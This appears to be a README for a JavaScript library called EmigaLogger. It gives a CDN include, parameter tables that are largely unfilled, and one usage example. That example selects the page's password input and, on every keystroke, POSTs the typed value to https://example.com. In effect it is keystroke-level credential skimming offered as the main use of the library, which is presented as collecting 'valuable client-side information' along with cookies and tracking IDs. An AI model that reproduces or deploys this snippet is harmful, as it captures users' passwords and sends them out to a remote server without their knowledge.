EmigaLogger combines several modules to send a valuable client-side information to the database
<script type="text/javascript" src="https://cdn.jsdelivr.net/gh/eminmuhammadi/EmigaLogger@v1.0.3/dist/EmigaLogger.min.js"></script>
const Logger = new EmigaLogger();
const Data = new EmigaData();
const Selector = new EmigaSelector();
const Password = Selector.Select('input[name=password]');
Logger.Log(Password,'keydown',()=>{
Data.Send('https://example.com',{
method: 'POST',
body: JSON.stringify({
password: Selector.Value(Password)
})
});
});
For examples ./demo/
button
./demo/button.htmlexample
./demo/example.htmlform
./demo/form.htmlinput
./demo/input.html
Param | Type | Value | Description |
---|---|---|---|
query | |||
state | |||
callback |
Param | Type | Value | Description |
---|---|---|---|
callback |
Param | Type | Value | Description |
---|---|---|---|
query |
Param | Type | Value | Description |
---|---|---|---|
element |
Param | Type | Value | Description |
---|---|---|---|
element |
Param | Type | Value | Description |
---|---|---|---|
element |
Param | Type | Value | Description |
---|---|---|---|
form |
Param | Type | Value | Description |
---|---|---|---|
url | |||
options.method | GET ,POST ,PUT ,HEAD ,DELETE ,PATCH ,OPTIONS |
||
options.mode | no-cors , cors , same-origin |
||
options.cache | Value , no-cache , reload , force-cache , only-if-cached |
||
options.credentials | include , same-origin , omit |
||
options.headers | |||
options.redirect | manual , follow , error |
||
options.referrerPolicy | no-referrer , client |
||
options.body |
Param | Type | Value | Description |
---|---|---|---|
name |
Param | Type | Value | Description |
---|---|---|---|
name | |||
value | |||
options.expires | |||
options.path | / (default) |
||
options.domain | |||
options.secure | true , false |
||
options.sameSite | lax , strict |
Param | Type | Value | Description |
---|---|---|---|
name |
Param | Type | Value | Description |
---|---|---|---|
name | X-UUID (default) |
||
value | |||
days | 1 (default) |